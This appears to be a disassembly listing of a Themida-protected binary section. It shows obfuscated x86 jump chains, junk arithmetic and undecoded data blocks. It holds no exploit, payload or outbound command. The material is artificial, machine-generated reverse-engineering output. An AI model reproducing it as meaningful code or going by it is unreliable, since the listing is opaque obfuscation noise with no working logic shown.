loc_554B04:				; CODE XREF: Themida_:0055701Cj
		sub	esi, 62323437h
		pop	edx
		jmp	loc_5572ED
; ---------------------------------------------------------------------------
		dd 243C875Bh, 9CC1385Ch, 0FFED85E9h, 0E97B34FFh, 0FFFFC3C2h
		dd 81E18951h, 4C1h, 5DE95000h
		db 46h,	2 dup(0)
byte_554B33	db 0FFh			; DATA XREF: Themida_:005506A8o
		dd 92E91C77h, 59000012h, 0FB60E95Fh, 0C87FFFFh,	0C3315C24h
		dd 44E930FFh
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554B4F:				; CODE XREF: Themida_:00551DBCj
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 2EB0086Eh
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_55A3C3
; ---------------------------------------------------------------------------
		db 55h
		dd 2BDh, 0C82BE900h, 4F09FFFFh,	14E9591Ch, 0BAFFFFBCh
		dd 723C0444h, 595AD001h, 108EB951h, 81490C06h, 0A21951F1h
		dd 7D18E921h, 1660000h,	665D66E9h, 8166C129h, 665C38E9h
		dd 5624048Bh, 0C681E689h, 4, 8702C683h,	515C2434h, 256BE9h
		db 0
; ---------------------------------------------------------------------------


loc_554BC1:				; CODE XREF: Themida_:005562C1j
		xor	esi, 1FDFBFEDh
		jmp	loc_554618
; ---------------------------------------------------------------------------
		dd 0E904C483h, 1B61h
; ---------------------------------------------------------------------------


loc_554BD4:				; CODE XREF: Themida_:0055CA4Cj
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	edx
		mov	edx, 4
		add	esi, 4DE24FE1h
		add	esi, edx
		sub	esi, 4DE24FE1h
		pop	edx
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 0F894AC6h
		pop	eax
		push	ebx
		push	esi
		push	eax
		mov	eax, 77F32633h
		neg	eax
		and	eax, 641B714Dh
		inc	eax
		not	eax
		jmp	loc_557058
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 8
		dd 81463F61h, 0E07BE3C3h, 30FF6662h, 0FFBB5EE9h
		db 0FFh
byte_554C35	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005505A0o
		dd 0D359669Dh, 0E99C2414h, 0FFFFBB4Fh
dword_554C44	dd 482BBA52h, 0E2C13884h, 0F498E903h, 0C15DFFFFh, 0E3C102E3h
					; DATA XREF: Themida_:00550674o
		dd 72EB8103h, 182EDFAh,	0F2895BDEh, 0E924348Bh,	6599h
; ---------------------------------------------------------------------------


loc_554C6C:				; CODE XREF: Themida_:0055AD25j
		add	eax, 4
		sub	eax, 4
		jmp	loc_55A655
; ---------------------------------------------------------------------------
aFQtsI		db 'f¸ïâéÐI',0
		align 4
		dd 6C26ED81h, 84E941DBh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554C8F:				; CODE XREF: Themida_:00552D49j
		add	ecx, 67510197h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		jmp	loc_5574DF
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
aLIPs		db '‹$$‰,$Pé',0
		db 'l',0
		align 4


loc_554CB4:				; CODE XREF: Themida_:0055BFBCj
		inc	edx
		inc	edx
		jmp	loc_55BE8E
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E7C008E7h, 0CCF78007h, 4C94E9h, 0BAE95B00h
		db 45h,	2 dup(0)
byte_554CCF	db 66h			; DATA XREF: Themida_:0055055Co
		dd 66424868h, 0E9031B68h, 46F7h, 8124048Bh, 4C4h, 7C44E900h
		dd 23B70000h, 0F8004F2Ch, 0FFC6FEE9h, 280A34FFh, 0B60F58C3h
		dd 87048DC0h, 1ECD68h, 24048900h, 0FFBA86E9h
		db 0FFh
byte_554D0D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005506BCo
		dd 4EC8358h, 89243489h,	4C681E6h, 53000000h, 0D55DE956h
		dd 248BFFFFh, 48B6624h,	5F545724h, 0FFDF38E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554D35:				; CODE XREF: Themida_:00552EDDj
		shl	edx, 1
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2B1A4957h
		not	edx
		jmp	loc_5522E1
; ---------------------------------------------------------------------------


loc_554D52:				; CODE XREF: Themida_:00558F89j
		and	ecx, ebp
		pop	ebp
		xor	ecx, 4143903h
		jmp	loc_5561BF
; ---------------------------------------------------------------------------
		dd 5BFC381h, 0D3294FA7h, 5BFBD55h, 0EB294FA7h, 0E4C3815Dh
		dd 550F1B28h, 924472BDh, 0A7EB8131h, 0E9591244h, 7284h
; ---------------------------------------------------------------------------


loc_554D88:				; CODE XREF: Themida_:0055BE52j
		mov	ebx, 21901495h
		or	ebx, 767922AEh
		push	esi
		mov	esi, 6F582452h
		sub	ebx, esi
		jmp	loc_55B279
; ---------------------------------------------------------------------------
		dd 0EB81EB01h, 732810B2h, 50242C8Bh, 405E089h, 0E9000000h
		dd 6940h, 51C9BE56h, 0C681655Dh, 0FFFFFFFFh, 0AE3CC681h
		dd 4FE99AA2h, 81000000h, 418A4DF3h, 0C9BE568Bh,	0E9733B50h
		dd 5D0Eh, 59EBB53h, 554335ECh, 9D4110BDh, 2E5C155h, 0ED81D5F7h
		dd 638619E7h, 5104E5C1h, 76C1A4B9h, 0A7ED815Eh,	29504624h
		dd 0A7C581CDh, 59504624h, 0E95DEB01h, 69EBh, 52EFE95Eh
		dd 0F2010000h, 5224348Bh, 0FFECD1E9h, 148759FFh, 4D35C24h
		dd 5CE99C24h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554E37:				; CODE XREF: Themida_:00557D42j
		add	ebp, edi
		pop	edi
		jmp	loc_55336B
; ---------------------------------------------------------------------------
		db 0BFh
		dd 13C34D03h, 3AF7814Fh, 0E957C750h, 44CAh
; ---------------------------------------------------------------------------


loc_554E50:				; CODE XREF: Themida_:005524BAj
		mov	esi, ebp
		pop	ebp
		jmp	loc_559C9F
; ---------------------------------------------------------------------------
		dd 86C18166h, 0E9816610h, 2966407Dh, 0C18166D9h, 5266407Dh
		dd 1086BA66h, 0CCE98166h, 0D1296631h, 0CCC18166h, 0E95A6631h
		dd 0FFFFBAC0h, 24048F5Fh, 66F9F65Ch, 0E9CCB60Fh, 0FFFFF40Ah
		dd 2C99EF80h, 0EE44E988h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554E9E:				; CODE XREF: Themida_:0055A464j
		mov	edi, [esp]
		jmp	loc_552226
; ---------------------------------------------------------------------------
		dw 685Ch
		dd 2B1h, 0BE243489h, 2948306Ch,	4ABDE9h, 5EDC100h, 0F6F5814Dh
		dd 10616BDh, 14875DEAh,	0C8855C24h, 58F5E99Ch, 89560000h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 3BFAE9h, 0A1E95300h
		db 49h,	2 dup(0)
byte_554EEF	db 0FFh			; DATA XREF: Themida_:00550710o
		dd 51582434h, 0C181E189h, 4, 4E981h, 0C330000h,	240C3124h
		dd 2B96E9h, 0B881E900h,	0B850FFFFh, 77951784h, 0F703E0C1h
		dd 56C32DD0h, 522D762Bh, 8312D433h, 2F0501C0h, 291BE84Ah
		dd 0F72958C6h, 2332E9h,	241C8700h, 0EC83535Ch, 24248904h
		dd 4240481h, 5B000000h,	0FFDE13E9h, 241C89FFh, 3868h, 3F57E900h
		dd 8B660000h, 0C483240Ch, 0B9665102h, 81662458h, 6604B2F1h
		dd 0E9720E68h, 7BAAh, 0E9241489h, 0D60h, 2C7815Ah, 57000000h
		dd 4984E9h, 243C8900h, 0FFF261E9h, 4EC81FFh, 89000000h
		dd 0A1E9240Ch, 81000015h, 8F65FCEAh, 81FA2915h,	8F65FCC2h
		dd 243C8B15h, 8904EC83h, 0E389241Ch, 4C381h, 0D9E90000h
		dd 81000001h, 0B53882F1h, 20B7E964h, 68580000h,	1677h
		dd 0BB241C89h, 342F3A55h, 18A0CB81h, 0C38171EEh, 70470FB9h
		dd 0A65E9h, 84EA8100h, 532E865Bh, 0D43AD5BBh, 8BDA095Fh
		dd 0C481241Ch, 4, 0BBFBEA81h, 0D501DFDCh, 5C00E9h, 24248B00h
		dd 0E99CC884h, 0FFFFB773h, 241C335Ah, 33241C31h, 0D25C241Ch
		dd 0E99C2404h, 0FFFFB75Fh
; ---------------------------------------------------------------------------


loc_555034:				; CODE XREF: Themida_:00551178j
		sub	edi, 3ED35750h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_55AB71
; ---------------------------------------------------------------------------
		db 20h,	0C3h, 0E9h
		dd 0FFFFF87Dh
; ---------------------------------------------------------------------------


loc_555050:				; CODE XREF: Themida_:00551588j
		shr	esi, 3
		push	ecx
		mov	ecx, 67295AC3h
		neg	ecx
		dec	ecx
		push	edi
		mov	edi, 9E4073h
		or	edi, 749901EDh
		push	ebp
		mov	ebp, 3C412BB1h
		push	edi
		mov	edi, 6CD66DA6h
		jmp	loc_55CA9C
; ---------------------------------------------------------------------------
a0FzaiFqS	db '0ÐfZ€ë¿(ÃfQµ¿é]',7,0
		db 0
; ---------------------------------------------------------------------------


loc_55508B:				; CODE XREF: Themida_:005576E4j
		add	bl, 0DEh
		add	bl, al
		sub	bl, 0DEh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_552B64
; ---------------------------------------------------------------------------
aS4_0		db ']é~4',0
		align 4
		dd 536692B6h, 30E94AB3h, 0FFFFFFE8h, 68592434h,	213Eh
		dd 89243489h, 4C681E6h,	52000000h, 7B09F1BAh, 0E043E90Fh
		dd 0D301FFFFh, 81DE875Ah, 0E8848F6h, 0BC1CE9DCh, 1487FFFFh
		dd 42B95C24h, 8199B3A3h, 7C737DC1h, 56D1013Ch, 7C737DBEh
		dd 5EF1293Ch, 3A5F35Ah,	0F3683862h, 8900007Fh, 0F868242Ch
		dd 0FF741F42h, 0E95D2434h, 4B70h
; ---------------------------------------------------------------------------


loc_555118:				; CODE XREF: Themida_:0055AB06j
		not	dh
		xor	dh, 0A8h
		xor	dh, 0BBh
		add	bl, dh
		pop	edx
		push	ecx
		jmp	loc_55A696
; ---------------------------------------------------------------------------
		db 0BEh, 84h, 3Ah
		dd 80B9283Fh, 31283F3Ah, 0A3E95EF1h, 68FFFFD5h,	728Ah
		dd 0E9243C89h, 2B79h, 592434FFh, 8304C483h, 1E904C4h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555157:				; CODE XREF: Themida_:0055245Fj
		push	edx
		mov	edx, 380D04C6h
		sub	edx, 219EAE92h
		sub	ecx, edx
		pop	edx
		push	3B4Bh
		jmp	loc_558181
; ---------------------------------------------------------------------------
		dd 8704C283h, 535C2414h, 2B97E9h, 0E9816600h, 81660001h
		dd 664103C9h, 0BCF6E956h, 0F381FFFFh, 50E84C35h, 0D781E957h
		dd 0E952FFFFh, 0FFFFCF5Bh, 5304C383h, 0FFEAA7E9h, 8EC381FFh
		dd 81969E5Fh, 0B67F6CEEh, 0C2C6812Ch, 2961FE7Fh, 0C2EE81DEh
		dd 8161FE7Fh, 0B67F6CC6h, 0FF565B2Ch, 505B2434h, 5FC8E9h
		dd 2BB35300h, 5330B050h, 8897B050h, 85E958C7h
		db 0D9h, 2 dup(0FFh)
byte_5551E7	db 0FFh			; DATA XREF: Themida_:00550528o
		dd 32E92434h, 81FFFFF1h, 0DF5695E2h, 0E6B85054h, 355E9227h
		dd 0A9E3ED1h, 0C158C209h, 0EA8103EAh, 922F4139h, 815AD689h
		dd 87AD7EBh, 0C23BE935h, 0E789FFFFh, 4C781h, 4CE90000h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555227:				; CODE XREF: Themida_:005555EAj
		push	dx
		mov	dl, 0AAh
		add	cl, 90h
		sub	cl, dl
		push	eax
		mov	eax, esp
		jmp	loc_55293A
; ---------------------------------------------------------------------------
		dd 4C4835Ah, 3512E9h, 0D8BB5300h, 81722702h, 0BE390FEBh
		dd 0E8C3817Dh, 290DFA9Ch, 0CE95BD9h, 81000044h,	4C4h, 7E685200h
		dd 5A74CD49h, 0FBFCEA81h, 78E968E5h, 0BAFFFFBFh, 101F659Ch
		dd 15AD329h, 9CC381D3h,	52101F65h, 353F9568h, 0EC815A57h
		dd 4, 0F7241489h, 85E9241Ch
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55529B:				; CODE XREF: Themida_:00556053j
		jmp	loc_55AC62
; ---------------------------------------------------------------------------


loc_5552A0:				; CODE XREF: Themida_:00557C90j
		mov	ecx, 466B255Fh
		shl	ecx, 8
		inc	ecx
		xor	ecx, 7142476h
		mov	ebx, ecx
		pop	ecx
		xor	ecx, ebx
		pop	ebx
		xor	ecx, 8CEBD7D7h
		xor	edx, ecx
		pop	ecx
		jmp	loc_559D1E
; ---------------------------------------------------------------------------


loc_5552C3:				; CODE XREF: Themida_:005518BBj
		pop	esp
		xor	esi, [esp]
		jmp	loc_5515A2
; ---------------------------------------------------------------------------
		dd 180C4468h, 81495942h, 6C3AAE9h, 0E9CE8920h, 0FFFFC949h
		dd 0E918B450h, 465h
; ---------------------------------------------------------------------------


loc_5552E8:				; CODE XREF: Themida_:00552E38j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5539B7
; ---------------------------------------------------------------------------
aNhh6		db '­hH6',0             ; DATA XREF: Themida_:005505DCo
		align 4
aISoc		db '‰,$éoC',0
		align 4
aRUHKsj1ZSq	db 'Rº“~',8,')h,Kèj[1ÓZ)Ý[éQ/',0
		db 0
; ---------------------------------------------------------------------------


loc_555323:				; CODE XREF: Themida_:00552893j
		pop	esi
		add	esp, 4
		pop	ecx
		push	ecx
		push	esi
		pop	ecx
		pop	esi
		not	esi
		xchg	esi, ecx
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		xor	eax, esi
		xor	esi, eax
		jmp	loc_55C74D
; ---------------------------------------------------------------------------
		db 89h
		dd 3E9241Ch, 8BFFFFC7h,	34FF2424h, 24048B24h, 28E168h
		dd 24048900h, 0BF57E089h, 5A6F45C6h, 0FFEBA0E9h, 24348BFFh
		dd 81E28952h, 4C2h, 48BAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555376:				; CODE XREF: Themida_:0055C9EFj
		not	dword ptr [esp]
		pop	esi
		add	esi, 7A8C3F25h
		mov	edi, esi
		pop	esi
		sub	eax, 45DB4D1Eh
		add	eax, edi
		jmp	loc_55A45F
; ---------------------------------------------------------------------------
		db 87h
		dd 248B243Ch, 0C8AF0F24h, 0F4E99C51h, 29FFFFB3h, 14875EF2h
		dd 0DCE95C24h, 6600000Ch, 66A358BAh, 5A66D129h,	59C82966h
		dd 66D82966h, 517D2F05h, 46BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5553C5:				; CODE XREF: Themida_:005510FEj
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		push	edi
		push	79495FACh
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 69D368CAh
		add	ebp, 694C11CBh
		add	ebp, 0B39725BEh
		jmp	loc_5561A9
; ---------------------------------------------------------------------------
dword_555400	dd 0E904EC83h, 6E06h	; DATA XREF: Themida_:005505BCo
dword_555408	dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFFED0Ch, 70B68h
					; DATA XREF: Themida_:00550520o
		dd 243C8900h, 0C781E789h, 4, 4C781h, 3C870000h,	48F5C24h
		dd 24248B24h, 8904EC83h, 5051241Ch, 0E188D488h,	0B709E958h
		dd 0B966FFFFh, 316673B2h, 0C1665BD9h, 0D9E902E1h, 89000005h
		dd 0EB0159CDh, 241C875Dh, 4F41E9h, 5AF48800h, 5AD428h
		dd 8FE958E2h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555477:				; CODE XREF: Themida_:00552246j
		xor	ecx, 7FD54517h
		sub	ecx, 0FCBE663h
		and	ebp, ecx
		pop	ecx
		sub	ebp, 1812050h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55643F
; ---------------------------------------------------------------------------
aI4Ssx		db '‰4$é‘X',0
		align 10h


loc_5554A0:				; CODE XREF: Themida_:0055BB37j
		xor	ah, bl
		jmp	loc_556827
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 0A74E9h, 241C8700h, 0E924248Bh, 163Ah, 3F46E181h
		dd 0F1816AA5h, 743C5114h, 4B50F181h, 0CD013C9Dh, 368BE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5554D6:				; CODE XREF: Themida_:0055A149j
		push	esi
		mov	esi, 4
		push	ebx
		mov	ebx, 185B482Fh
		neg	ebx
		neg	ebx
		shr	ebx, 5
		neg	ebx
		xor	ebx, 0F18D3E36h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, esi
		jmp	loc_551084
; ---------------------------------------------------------------------------
		db 53h
		dd 0DF0BDABBh, 0C1EBD123h, 0F4E908EBh
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555513:				; CODE XREF: Themida_:0055820Bj
		add	ebx, eax
		jmp	loc_552724
; ---------------------------------------------------------------------------
		dw 0D831h
		dd 154ABB53h, 0F3811E26h, 7AE13FA6h, 4498CB81h,	7DE92FF5h
		dd 3100003Dh, 0B8ED81FDh, 0E9632FC6h, 0FFFFBB93h
; ---------------------------------------------------------------------------


loc_555540:				; CODE XREF: Themida_:0055961Cj
		add	dword ptr [esp], 74DD39E4h
		pop	ebp
		sub	ebp, 74DD39E4h
		pop	edx
		add	edx, ebp
		jmp	loc_5564E4
; ---------------------------------------------------------------------------


loc_555556:				; CODE XREF: Themida_:0055972Ej
		mov	ebx, 1D007F8Fh
		xor	ebx, 1D007F8Bh
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5D596B4Dh
		not	ecx
		shl	ecx, 7
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 574E3E15h
		sub	ecx, 46F13BD3h
		sub	ecx, edx
		push	ebp
		mov	ebp, 38C216CEh
		add	ebp, 3B3554F0h
		xor	ebp, 3506506Dh
		add	ecx, ebp
		pop	ebp
		pop	edx
		dec	ecx
		xor	ecx, 0FBFC1AEEh
		jmp	loc_555B7E
; ---------------------------------------------------------------------------
word_5555BA	dw 8B66h		; DATA XREF: Themida_:00550514o
		dd 0E952240Ch, 0FFFFBA78h, 5F5BD801h, 3AFDBA52h, 0D029158Ch
		dd 301E95Ah, 34FF0000h,	2434FF24h, 582434FFh, 0E95B5453h
		dd 3C55h
; ---------------------------------------------------------------------------


loc_5555E8:				; CODE XREF: Themida_:005515CAj
		not	cl
		jmp	loc_555227
; ---------------------------------------------------------------------------


loc_5555EF:				; CODE XREF: Themida_:00553049j
		pop	esi
		sub	eax, 3E2D7B8Fh
		add	eax, edi
		add	eax, 3E2D7B8Fh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 36451FB7h
		or	ebx, 446B3541h
		xchg	ecx, ebx
		not	ecx
		xor	ebx, ecx
		xor	ecx, ebx
		jmp	loc_553797
; ---------------------------------------------------------------------------


loc_55561D:				; CODE XREF: Themida_:00551980j
		push	esp
		jmp	loc_5571A1
; ---------------------------------------------------------------------------
		db 5
		dd 4, 4FCB68h, 242C8900h, 2BDh,	1852D00h, 0E8011694h, 35EAE951h
		dd 0E3890000h, 8904EC83h, 0B951242Ch, 71244D1Eh, 6877F181h
		dd 75E959EEh
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55565B:				; CODE XREF: Themida_:00557EE7j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_551B31
; ---------------------------------------------------------------------------
		db 50h,	88h, 0DCh
		dd 0FF58E288h, 34FF2434h, 0C4835B24h, 6CE95104h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55568B:				; CODE XREF: Themida_:005593FAj
		add	[edx], esi
		pop	edx
		pop	esi


loc_55568F:				; CODE XREF: Themida_:00555FA7j
		push	17EFh
		mov	[esp], ebx
		xor	dword ptr [esp], 6D9426A8h
		pop	eax
		sub	esp, 4
		jmp	loc_556058
; ---------------------------------------------------------------------------
		db 80h
		dd 0C328CAC3h, 0B3536650h, 885051A0h, 58C588D8h, 6659E888h
		dd 61F8E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5556C2:				; CODE XREF: Themida_:00551531j
		or	eax, eax
		jz	loc_55786F
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_551856
; ---------------------------------------------------------------------------
		db 81h
		dd 0BD3BA4C1h, 59CE0111h, 1EE81h, 0C6810000h, 89807658h
		dd 535EF001h, 2BBh, 5BD82900h, 31240433h, 4332404h, 24248B24h
		dd 24148966h, 0E99C5066h, 0FFFFB07Fh, 68240489h, 51FCh
		dd 0BF243C89h, 0A2A3E48h, 0EF81D7F7h, 0F5D5C1B3h, 15FF889h
		dd 0FF5258C2h, 5A042474h, 8B24048Fh, 4012424h, 4CE99C24h
		dd 5EFFFFB0h, 0AA8E9h, 2ECC000h, 2DF3E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555756:				; CODE XREF: Themida_:00558190j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55BBAB
; ---------------------------------------------------------------------------
		dd 4C481h, 0FF500000h, 0E9042474h, 0FFFFF564h, 34FFEB28h
		dd 0DF9AE924h, 0C8BFFFFh, 4C48124h, 87000000h, 895C242Ch
		dd 0CFE92434h, 31000006h, 0EB815DEFh, 24C7077h,	92E9FB29h
		dd 8BFFFFB3h, 0C483242Ch, 0C2814204h, 0EFE7FFCDh, 55AD001h
		dd 4, 11A4E9h, 4BD00h, 56E90000h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5557CB:				; CODE XREF: Themida_:005567D2j
		add	edx, 4
		jmp	loc_557279
; ---------------------------------------------------------------------------
		dw 5558h
		dd 0E9505D54h, 0FFFFC2B3h, 0E924148Bh, 0FFFFFC30h, 8B66EB00h
		dd 0C4E9240Ch, 0E9000049h, 0FFFFAF9Bh
; ---------------------------------------------------------------------------


loc_5557F8:				; CODE XREF: Themida_:00553A03j
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 516D606Dh
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_551B0D
; ---------------------------------------------------------------------------
		dd 0F71E281h, 0A4E927F4h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55581B:				; CODE XREF: Themida_:0055C312j
		xor	ebx, esi
		pop	esi
		xor	eax, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	7993h
		mov	[esp], ecx
		mov	ecx, 3A93414Fh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 49023938h
		jmp	loc_55B452
; ---------------------------------------------------------------------------
		db 89h
		dd 6768240Ch, 89000012h, 0C6882414h, 685AF588h,	6D44h
		dd 0E9240489h, 5680h
; ---------------------------------------------------------------------------


loc_555870:				; CODE XREF: Themida_:0055BDE3j
		push	dword ptr [esp+4]
		jmp	loc_55080B
; ---------------------------------------------------------------------------
		db 68h,	6Ch, 6Dh
		dd 2C890000h, 4EC8124h,	89000000h, 4832424h, 2C8B0424h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 0E9243C87h, 0FFFFF5FEh
		dd 77EE814Eh, 8923D91Ah, 6DE95EF3h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5558B7:				; CODE XREF: Themida_:005537B0j
		pop	esp
		jmp	loc_557B06
; ---------------------------------------------------------------------------


loc_5558BD:				; CODE XREF: Themida_:0055226Ej
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	eax
		mov	eax, 61805A2Dh
		jmp	loc_55A005
; ---------------------------------------------------------------------------
		db 29h
		dd 3AFD05D8h, 552D158Ch, 5245DD40h, 750FBF57h, 0E94F225Bh
		dd 0FFFFF5F9h, 61D2C381h, 8143268Ah, 62DF88C3h,	3C97E994h
		dd 0E1890000h, 4C181h, 0E5E90000h, 5300001Dh, 4BBh, 5BDE0100h
		dd 351A68h, 24348900h, 42474FFh, 24048F5Eh, 0E9C2315Ch
		dd 0FFFFAE63h, 515AD701h, 1D01CFB9h, 0B14FE969h, 0E9D1FFFFh
		dd 0FFDBE4E9h, 535F54FFh, 343AB9BBh, 0B8504301h, 4D400CC9h
		dd 0B835D0F7h, 0F71A4F50h, 6C7835D0h, 0F7934975h, 2256E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55596A:				; CODE XREF: Themida_:005571A8j
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 50h
		add	bh, 4Eh
		xor	bh, 6Eh
		xor	bh, 64h
		jmp	loc_55AAA6
; ---------------------------------------------------------------------------


loc_55598A:				; CODE XREF: Themida_:00558E0Ej
		mov	dh, ch
		pop	ecx
		add	al, dh
		jmp	loc_5530EA
; ---------------------------------------------------------------------------


loc_555994:				; CODE XREF: Themida_:00553E34j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55B17B
; ---------------------------------------------------------------------------
		dd offset dword_4CBB28+1840h
		align 10h
		dd 52240C89h, 0E6C081B6h, 0B1B15103h, 0FFC312E9h, 243C8BFFh
		dd 81E68956h, 4C6h, 4C68300h, 0E9243487h, 4DF4h, 4C481h
		dd 0F9890000h, 0FF58E95Fh
		db 2 dup(0FFh)
word_5559E6	dw 77FFh		; DATA XREF: Themida_:00550690o
		dd 59669D1Ch, 9C241CD2h, 0FFAD9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5559F5:				; CODE XREF: Themida_:0055328Aj
		sub	edi, 14B022F4h
		add	edi, 7BE326DDh
		sub	edi, esi
		sub	edi, 7BE326DDh
		add	edi, 14B022F4h
		add	edi, 79764D83h
		pop	esi
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55B92A
; ---------------------------------------------------------------------------


loc_555A21:				; CODE XREF: Themida_:0055A800j
		push	edx
		jmp	loc_5525DD
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 0E95BDD01h, 0FFFFCDAEh, 0BB665366h, 31662C9Ch, 1C8B66D9h
		dd 2C48324h, 0B7C98166h, 0F1816624h, 89660959h,	36B0E9CBh
		dd 0D3F70000h, 0B555F381h, 0D80119C9h, 0E9241C8Bh, 5BE2h
; ---------------------------------------------------------------------------


loc_555A68:				; CODE XREF: Themida_:00550954j
		xor	edi, 340B5FA1h
		inc	edi
		xor	edi, 0BAA0D9CEh
		sub	esi, edi
		pop	edi
		mov	ebx, esi
		pop	esi
		sub	ebp, ebx
		pop	ebx
		sub	ebp, 75E96D03h
		and	ecx, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55379E
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 8F000000h,	248B2404h, 0B30F6624h, 0E99C2404h
		dd 0FFFFACE3h, 0BB2F35BEh, 0C681464Ah, 0F0D32DE0h, 15EF031h
		dd 0C56858C3h, 8900000Ch, 4BA2414h, 1000000h, 24148BD3h
		dd 0FFCEEAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555AD9:				; CODE XREF: Themida_:0055C295j
		mov	ch, 63h
		mov	bl, ch
		pop	ecx
		and	dl, bl
		pop	ebx
		not	dl
		jmp	loc_558A95
; ---------------------------------------------------------------------------
		dd 31E9D301h, 68FFFFF5h, 1C71h,	89240489h, 4EC81E0h, 89000000h
		dd 0A9B9240Ch, 4967872Ch, 0FFBCFFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555B0D:				; CODE XREF: Themida_:00551A2Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55153C
; ---------------------------------------------------------------------------
		dd 0FFAC6AE9h, 0E9C301FFh, 4C16h
; ---------------------------------------------------------------------------


loc_555B30:				; CODE XREF: Themida_:0055B925j
		xor	edx, 0C0006h
		jmp	loc_550DE4
; ---------------------------------------------------------------------------
		db 51h
		dd 0F58008B5h, 0DBCD80EFh, 0FDED80h, 0C30059EBh, 0E902EB80h
		dd 0FFFFDE4Ch, 0E95A5452h, 3E51h
dword_555B5C	dd 240C8B66h, 3410E9h, 0E9CAB300h, 4F24h, 4EC8356h, 4E4EE9h
					; DATA XREF: Themida_:00550704o
		db 0
byte_555B75	db 0F6h, 1Ch, 24h	; DATA XREF: Themida_:0055051Co
		dd 0AC15E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555B7E:				; CODE XREF: Themida_:005555B5j
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		jmp	loc_55689B
; ---------------------------------------------------------------------------


